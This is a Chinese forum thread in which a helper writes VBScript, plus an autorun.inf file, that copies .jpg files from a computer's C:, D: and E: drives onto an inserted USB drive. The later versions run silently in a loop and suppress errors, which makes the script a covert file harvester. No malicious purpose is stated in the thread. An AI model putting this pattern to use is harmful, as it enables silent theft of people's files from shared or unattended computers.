broly

貌似我以前写过了，你在论坛搜索看看

broly

看看这个

http://bbs.bathome.net/redirect. ... 3&fromuid=25503

broly

你描述都不清楚叫我怎么写？

“U盘插入电脑上自动复制电脑上的EXCEL文件的VBS脚本”

就是复制？从哪里复制到哪里？

broly

中午没有时间写，现在才有空。

Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\"
      U = True
    End if
  Next
  If U = True Then
  	  MsgBox "复制中...请稍后..."
  	  For Each Disk In Disks 
    	If Disk.IsReady And Disk.DriveType = 2 Then 
			CopyJpgs(Disk.DriveLetter & ":\")
    	End if
  	  Next
  	  MsgBox "Succeed."
  Else
    If n=1 Then 
      Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

broly

中午没有时间写，现在才有空。

Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\"
      U = True
    End if
  Next
  If U = True Then
  	  MsgBox "复制中...请稍后..."
  	  For Each Disk In Disks 
    	If Disk.IsReady And Disk.DriveType = 2 Then 
			CopyJpgs(Disk.DriveLetter & ":\")
    	End if
  	  Next
  	  MsgBox "Succeed."
  Else
    If n=1 Then 
      Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

broly

不用，直接复制到U盘的

broly

回复 15# lyzhangzj


    什么意思？你的不是JPG文件吗，怎么又变成TXT了？

broly

回复 18# lyzhangzj


    插入U盘自动运行需要在你的U盘加一个autorun.inf的文件。
   你先把所有的需求一次性表达清楚了。我没时间跟你一点一点的讲解

broly

Autorun.inf

[autorun]
open=wscript.exe AutoCopy.vbs
shell\open=打开(&O)
shell\open\command=wscript.exe AutoCopy.vbss
复制代码

'保存我为 AutoCopy.vbs
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
	  CopyJpgs("D:\")
	  CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

broly

不能自动运行应该是autorun.inf文件被禁用了，这是防止U盘病毒的做法，或者你顶楼那个autorun.inf写错了，我是复制那里的。提示出错，是不是你U盘没有“资料”这个文件夹？

broly

我晚点再看看吧。现在用手机上线

broly

回复 25# lyzhangzj


    我知道什么原因了。C盘有些文件夹VBS是不能访问的，其他盘的可以访问，所以说提示出错了。那些不够访问权限的，我把它屏蔽了。
至于自动运行的，我还没想到什么好方法。因为自动运行的功能，杀毒软件一向很注意防护的

'保存我为 AutoCopy.vbs
On Error Resume Next
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
          CopyJpgs("D:\")
          CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
  	If Err.Number=0 Then 
	    If fso.GetExtensionName(File.path)="jpg" Then
	      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
	    End If
	Else
		Err.Clear
	End If
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

broly

坑爹啊，就不能一次性把需求说清楚吗？

'保存我为 AutoCopy.vbs
On Error Resume Next
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
          CopyJpgs("D:\")
          CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
          If Err.Number=0 Then 
            If fso.GetExtensionName(File.path)="jpg" And _
            	fso.GetFile(File.path).Size>100*1024 Then
              fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
            End If
        Else
                Err.Clear
        End If
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

broly

回复 32# longmao


    那个要求跟你这个要求是不一样的，当然不能满足你的需求。
    是要监控系统，一插入U盘就自动复制。还是你自己按照需要手动运行，然后自动复制？
    需要高效率，可以用批处理。
    另外，你重开一帖子吧，我在新的帖子里回复